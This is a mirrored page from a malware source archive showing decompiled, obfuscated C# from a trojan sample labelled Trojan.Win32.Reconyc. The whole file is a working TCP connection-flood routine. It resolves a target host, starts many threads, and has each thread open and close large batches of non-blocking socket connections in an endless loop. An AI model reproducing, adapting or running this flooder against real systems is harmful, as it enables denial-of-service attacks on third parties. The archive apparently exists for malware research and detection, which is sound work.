mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
125 lines
4.2 KiB
C#
125 lines
4.2 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: ?1?.?2?
|
|||
|
// Assembly: svchost, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 0572F6A4-2AE0-441B-8B88-3FB3343AE211
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Reconyc.efsu-49381cd9042bc3cc4ed4ef172003f6330ee39256d57a554e08499cf3b3054e87.exe
|
|||
|
|
|||
|
using \u003F1\u003F;
|
|||
|
using System;
|
|||
|
using System.Net;
|
|||
|
using System.Net.Sockets;
|
|||
|
using System.Threading;
|
|||
|
|
|||
|
namespace \u003F1\u003F
|
|||
|
{
|
|||
|
internal class \u003F2\u003F
|
|||
|
{
|
|||
|
private static ThreadStart[] \u003F130\u003F;
|
|||
|
private static Thread[] \u003F131\u003F;
|
|||
|
public static string \u003F129\u003F;
|
|||
|
private static IPEndPoint \u003F79\u003F;
|
|||
|
public static int \u003F132\u003F;
|
|||
|
private static \u003F2\u003F.\u003F3\u003F[] \u003F133\u003F;
|
|||
|
public static int \u003F80\u003F;
|
|||
|
public static int \u003F134\u003F;
|
|||
|
|
|||
|
public static void \u003F20\u003F()
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
\u003F2\u003F.\u003F79\u003F = new IPEndPoint(Dns.GetHostEntry(\u003F2\u003F.\u003F129\u003F).AddressList[0], \u003F2\u003F.\u003F132\u003F);
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
\u003F2\u003F.\u003F79\u003F = new IPEndPoint(IPAddress.Parse(\u003F2\u003F.\u003F129\u003F), \u003F2\u003F.\u003F132\u003F);
|
|||
|
}
|
|||
|
\u003F2\u003F.\u003F131\u003F = new Thread[\u003F2\u003F.\u003F134\u003F];
|
|||
|
\u003F2\u003F.\u003F130\u003F = new ThreadStart[\u003F2\u003F.\u003F134\u003F];
|
|||
|
\u003F2\u003F.\u003F133\u003F = new \u003F2\u003F.\u003F3\u003F[\u003F2\u003F.\u003F134\u003F];
|
|||
|
for (int index = 0; index < \u003F2\u003F.\u003F134\u003F; ++index)
|
|||
|
{
|
|||
|
\u003F2\u003F.\u003F133\u003F[index] = new \u003F2\u003F.\u003F3\u003F(\u003F2\u003F.\u003F79\u003F, \u003F2\u003F.\u003F80\u003F);
|
|||
|
\u003F2\u003F.\u003F130\u003F[index] = new ThreadStart(\u003F2\u003F.\u003F133\u003F[index].\u003F23\u003F);
|
|||
|
\u003F2\u003F.\u003F131\u003F[index] = new Thread(\u003F2\u003F.\u003F130\u003F[index]);
|
|||
|
\u003F2\u003F.\u003F131\u003F[index].Start();
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
public static void \u003F21\u003F()
|
|||
|
{
|
|||
|
for (int index = 0; index < \u003F2\u003F.\u003F134\u003F; ++index)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
\u003F2\u003F.\u003F131\u003F[index].Suspend();
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
private class \u003F3\u003F
|
|||
|
{
|
|||
|
private IPEndPoint \u003F79\u003F;
|
|||
|
private Socket[] \u003F135\u003F;
|
|||
|
private int \u003F80\u003F;
|
|||
|
|
|||
|
public \u003F3\u003F(IPEndPoint _param1, int _param2)
|
|||
|
{
|
|||
|
this.\u003F79\u003F = _param1;
|
|||
|
this.\u003F80\u003F = _param2;
|
|||
|
}
|
|||
|
|
|||
|
public void \u003F22\u003F(IAsyncResult _param1)
|
|||
|
{
|
|||
|
}
|
|||
|
|
|||
|
public void \u003F23\u003F()
|
|||
|
{
|
|||
|
label_0:
|
|||
|
try
|
|||
|
{
|
|||
|
while (true)
|
|||
|
{
|
|||
|
this.\u003F135\u003F = new Socket[this.\u003F80\u003F];
|
|||
|
for (int index = 0; index < this.\u003F80\u003F; ++index)
|
|||
|
{
|
|||
|
this.\u003F135\u003F[index] = new Socket(this.\u003F79\u003F.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
|
|||
|
this.\u003F135\u003F[index].Blocking = false;
|
|||
|
AsyncCallback callback = new AsyncCallback(this.\u003F22\u003F);
|
|||
|
this.\u003F135\u003F[index].BeginConnect((EndPoint) this.\u003F79\u003F, callback, (object) this.\u003F135\u003F[index]);
|
|||
|
}
|
|||
|
Thread.Sleep(100);
|
|||
|
for (int index = 0; index < this.\u003F80\u003F; ++index)
|
|||
|
{
|
|||
|
if (this.\u003F135\u003F[index].Connected)
|
|||
|
this.\u003F135\u003F[index].Disconnect(false);
|
|||
|
this.\u003F135\u003F[index].Close();
|
|||
|
this.\u003F135\u003F[index] = (Socket) null;
|
|||
|
}
|
|||
|
this.\u003F135\u003F = (Socket[]) null;
|
|||
|
}
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
for (int index = 0; index < this.\u003F80\u003F; ++index)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
if (this.\u003F135\u003F[index].Connected)
|
|||
|
this.\u003F135\u003F[index].Disconnect(false);
|
|||
|
this.\u003F135\u003F[index].Close();
|
|||
|
this.\u003F135\u003F[index] = (Socket) null;
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
}
|
|||
|
goto label_0;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|